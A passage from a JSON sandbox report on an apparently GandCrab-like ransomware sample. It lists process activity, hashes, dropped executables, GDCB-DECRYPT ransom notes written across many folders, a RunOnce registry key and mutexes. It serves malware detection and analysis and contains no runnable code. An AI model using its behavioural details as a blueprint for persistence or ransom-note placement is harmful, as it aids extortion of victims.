a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003540"},{"pid":6184,"ppid":0,"name":"kljnut.exe","command_line":"","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","normalized_path":"%APPDATA%\\Microsoft\\kljnut.exe","uid":"00000000-00006184","icon":"$35"}],"all_imported_dlls":["kernel32.dll","shell32.dll","rasadhlp.dll","dhcpcsvc.dll","msimg32.dll","nsi.dll","dhcpcsvc6.dll","msxml3.dll","winrnr.dll","uxtheme.dll","dnsapi.dll","rasapi32.dll","sechost.dll","urlmon.dll","NapiNSP.dll","wship6.dll","user32.dll","lpk.dll","cryptbase.dll","nlaapi.dll","npmproxy.dll","crypt32.dll","rasman.dll","rtutils.dll","WSHTCPIP.DLL","wsock32.dll","normaliz.dll","msasn1.dll","cryptsp.dll","ntmarta.dll","winnsi.dll","msvcrt.dll","rpcrt4.dll","rsaenh.dll","profapi.dll","ws2_32.dll","SensApi.dll","msvcr100.dll","version.dll","advapi32.dll","imm32.dll","comctl32.dll","Wldap32.dll","IPHLPAPI.DLL","msxml3r.dll","gdi32.dll","wininet.dll","ole32.dll","shlwapi.dll","clbcatq.dll","KernelBase.dll","usp10.dll","msctf.dll","oleaut32.dll","iertutil.dll","pnrpnsp.dll","FWPUCLNT.DLL","mswsock.dll","dwmapi.dll","rpcss.dll","sspicli.dll","userenv.dll","netprofm.dll","RpcRtRemote.dll","apphelp.dll","ntdll.dll","wow64win.dll","gdi32full.dll","ucrtbase.dll","dpapi.dll","wow64.dll","imagehlp.dll","powrprof.dll","OnDemandConnRouteHelper.dll","msIso.dll","wow64cpu.dll","bcryptprimitives.dll","fltLib.dll","msvcp_win.dll","combase.dll","bcrypt.dll","winhttp.dll","win32u.dll","VxSSL32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wshqos.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","secur32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"GDCB-DECRYPT.txt","sha256":"424bc9dbf611def927d4ec82a5e434b371b6b141ad117c1eb18d6d07b86893dc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"0e8e767c96a5648de4e8cc6e6ae41d06_e47c61d2-1dae-480e-827a-ae8d797649df","sha256":"930d9b1844d4382df58b1bfcc6d4f198b31cd7157b08cc2d45cdf18b4581b69c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"index.dat","sha256":"d9d99c0a2467c0febcfc0f7e69f8dcdadd775d7ea00ff631d715ff8b62108929","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"apaluj.exe","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"ipv4bot_whatismyipaddress_com[1].htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"UserCache.bin","sha256":"9070656787d7d8e3abb95ae0edf736c517d26c3e99ce3a6a2ca26e5222e003b0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"StructuredQuerySchema.bin","sha256":"fa400d227c0c928255d4e888a79008807de0e563e4ad1f71c1d3d737ecefda6e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"www.ebay[1].xml","sha256":"7a57edd929be63e554e8f5e14b7351ec4a6620b48f2fc1a8ce1d739b22744592","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"pspubws@shopping.udn[1].txt","sha256":"6fef888d8c9b07af04ae8f24ab454489964f10db7c2420d9ef4cb053f594b42b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"HokZm0_2HRA[1].htm","sha256":"3ebf38a1478b921eb9cc6c82095495f201e9e63a6598c2db4d60750656c29552","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"iframe[3].htm","sha256":"cb88212f7c3ccd1bd611a06c5114eda4c53d0780c347ba5764f91aba608f4e76","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"M2_28_113715_03[1].png","sha256":"9fcaf8ef0a395f77dd1525e50cdbc22a032f4a3e90967f59fb7a6986538500af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"www.allocine[1].xml","sha256":"3a66abfd78fe0d343e1fb04ce3ba867c466a87de4be990fc3ea72f2478582848","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"push[3].htm","sha256":"29b94cabd6e91ba6c2b6cf05099ecd888af0e0110336c98c695594307841ac63","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"sourceforge[1].xml","sha256":"353e1ff7e211aa3a72e6a8c279e6c598b4b7506c18042b73ed91c2367f098b3f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"www.girlsgogames[1].xml","sha256":"a7c9e5efee817d2672d5cc69de7db7766c8f54669c5220bc069d9737ca3b7606","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"respond-proxy[1].htm","sha256":"d47d27ddb3b3c0afebe57115787f65c84d5232829464f938216863a2ceca59f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"amazon_cn[1].htm","sha256":"ef35394bcc8f806f6a59bfafd5bce4a25b1882a8e1d00a41e5e89a7a658f935f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"pspubws@filefreak[1].txt","sha256":"1adac3fc8582eeb61f75197e29cd25f3f4508449ff493136a49c6d0a9db340c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"NormalOld.dotm","sha256":"ab2b23d356bd72786ec6d089d54a44c485ba5cc1e46dd08b9a1844c1ab153041","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"TM01840907[[fn=Equations]].dotx","sha256":"fcb2af42aed7bbb0666055431dcbf10f2300032799e2ae8d5a9ed576ba0ed85a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Normal.dotm","sha256":"73f044428665de1c1c5fac5c477ed01dfccd7a6788e91ade3ceb0b4d5c953f64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Building Blocks.dotx","sha256":"c667d36d02e2b9a8f62a70fdbbff796b29b766770601317360bf9314b9004201","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Built-In Building Blocks.dotx","sha256":"bcf65182be0036425a5e25678060b08fa24b3e6bc34d31040ea54d3c5882b1ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"kljnut.exe","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"name":"kljnut.exe.bin","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"name":"d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1","sha256":"d55c7f98fc3a5a8c3765b4c4d39df0f3331970543f52882fee3d08c6c95d4deb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"name":"eotnxc.exe","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"ed6fd8db7d23f8cb2549b2f4450e8f1d_6b06490d-f9fd-424c-8b6d-83edc4369e89","sha256":"83f2c5b6190f26dfd5c475f6b2a0c169beb48aaf86be8c79b7436dc3418d6e96","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"WNBM9YNW.htm","sha256":"e38ee7ad0d45a01a4d35a323398574a53313d96a76b8d763cc444bf7624a0576","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]}],"files_written":[{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45.exe","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\Microsoft\\apaluj.exe","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-4162757579-3804539371-4239455898-1000\\0e8e767c96a5648de4e8cc6e6ae41d06_e47c61d2-1dae-480e-827a-ae8d797649df","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\System32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\System32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%WINDIR%\\System32\\nslookup.exe","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\System32\\en-US\\nslookup.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"C:\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\share\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\$Recycle.Bin\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\$Recycle.Bin\\S-1-5-21-4162757579-3804539371-4239455898-1000\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\1fOPsxdT\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\MSOCache\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\PerfLogs\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\PerfLogs\\Admin\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\Recovery\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\Recovery\\72d3f4c2-b53f-11e4-b6d9-9157ca704b30\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\ym9po\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\System Volume Information\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"C:\\Users\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%USERPROFILE%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%USERPROFILE%\\AppData\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Application Data\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\GameExplorer\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\10F7GL35\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\1SVLQMHC\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QP9X04G5\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\W79M45Q8\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%TEMP%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%TEMP%\\rary Internet Files\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"path":"%APPDATA%\\Microsoft\\kljnut.exe","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-735145574-3570218355-1207367261-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"C:\\4.exe","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\eotnxc.exe","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-686412048-2446563785-1323799475-1001\\ed6fd8db7d23f8cb2549b2f4450e8f1d_6b06490d-f9fd-424c-8b6d-83edc4369e89","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%WINDIR%\\SysWOW64\\nslookup.exe","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\nslookup.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{13C4E657-95AE-4E99-9C74-268A24CDB988}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\firefox browser","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"firefox browser","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Global\\pc_group=WORKGROUP&ransom_id=6c6a47a5c33fdc78","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\c:!users!uxbpzwd!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox